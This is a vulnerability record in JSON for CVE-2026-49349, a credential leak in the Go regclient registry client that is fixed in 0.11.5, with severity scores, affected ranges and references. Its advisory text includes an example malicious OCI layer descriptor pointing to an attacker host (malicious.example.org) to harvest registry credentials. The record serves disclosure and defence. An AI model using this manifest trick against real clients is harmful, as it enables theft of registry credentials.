{"id":"CVE-2026-49349","aliases":["CVE-2026-49349","GHSA-qvqc-4c52-x6qp","GO-2026-5822"],"related":[],"kind":"vulnerability","state":"published","title":"regclient may leak authentication credentials to external blob stores","summary":"regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.","source":"cvelist"},{"lang":"en","text":"Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.\n\n## Example attack\n\nA malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host:\n\n```json\n{\n  \"mediaType\": \"application/vnd.oci.image.layer.v1.tar+gzip\",\n  \"digest\": \"sha256:...\",\n  \"size\": 1024,\n  \"urls\": [\"https://malicious.example.org/blobs/sha256/...\"]\n}\n```\n\nWhen regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.\n\n## Timeline\n\n- 2026-05-25: Advisory submitted\n- 2026-05-26: Fix released\n\n## Credit\n\nTheodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security","format":"markdown","source":"ghsa"},{"lang":"en","text":"regclient may leak authentication credentials to external blob stores in github.com/regclient/regclient","format":"markdown","source":"go"}],"published":"2026-06-26T22:43:31.000Z","modified":"2026-09-10T03:50:50.281Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","score":6.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","score":6.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","score":6.8,"rating":"MEDIUM"}],"cwes":["CWE-522"],"affected":[{"ranges":[{"version":"< 0.11.5","status":"affected"}],"vendor":"regclient","product":"regclient","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.11.5"}],"ecosystem":"Go","package":"github.com/regclient/regclient","purl":"pkg:golang/github.com/regclient/regclient","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.11.5"}],"ecosystem":"Go","package":"github.com/regclient/regclient","purl":"pkg:golang/github.com/regclient/regclient","source":"go"}],"references":[{"url":"https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/regclient/regclient","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-08-12T14:35:50.931Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-49349","url":"https://www.cve.org/CVERecord?id=CVE-2026-49349","licence":"CVE Terms of Use","modified":"2026-08-12T14:35:58.638Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qvqc-4c52-x6qp","url":"https://github.com/advisories/GHSA-qvqc-4c52-x6qp","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:50.281Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5822","url":"https://pkg.go.dev/vuln/GO-2026-5822","licence":"CC-BY-4.0","modified":"2026-07-07T16:00:21.670Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-49349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49349","licence":"Public domain","modified":"2026-09-09T20:55:04.493Z"}],"updatedAt":"2026-11-25T22:59:32.566Z","epss":{"score":0.0022,"percentile":0.13264,"date":"2026-12-01T12:00:22.000Z"}}